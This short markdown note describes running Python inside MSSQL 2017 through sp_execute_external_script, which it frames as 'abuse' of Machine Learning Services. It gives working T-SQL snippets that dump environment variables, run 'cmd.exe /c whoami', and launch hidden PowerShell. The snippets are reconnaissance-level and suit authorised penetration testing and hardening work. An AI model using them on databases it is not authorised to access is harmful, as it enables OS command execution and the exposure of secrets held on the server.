Executing Python inside MSSQL using sp_execute_external_script

sp_execute_external_script_in_python.md

Executing Python in MSSQL

MSSQL 2017 includes Microsoft Machine Learning Services, which allows for the execution of Python and R scripts within MSSQL via sp_execute_external_script. This is an expansion of the functionality available in MSSQL 2016, which allowed for the execution of R scripts with SQL Server R Services. Examples of how to abuse this functionality with R scripts are available elsewhere.

To execute Python code:

• Machine Learning Services (In-Database) and Python must have been selected during installation
• External scripts must be enabled
  • EXEC sp_configure 'external scripts enabled', 1
  • RECONFIGURE WITH OVERRIDE
  • Restart the database server
• The user must have EXECUTE ANY EXTERNAL SCRIPT

Examples

Python Version

exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

Environment Variables

exec sp_execute_external_script 
@language =N'Python',
@script=N'import os
OutputDataSet["env_variable"] = pandas.Series([i[0] for i in os.environ.items()])
OutputDataSet["env_value"] = pandas.Series([i[1] for i in os.environ.items()])'
WITH RESULT SETS ((env_variable nvarchar(max), env_value nvarchar(max)))

Shell Commands

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

Powershell

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("powershell.exe -nop -w hidden -c $PSVersionTable.PSVersion.toString()", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([powershell_version] nvarchar(max)))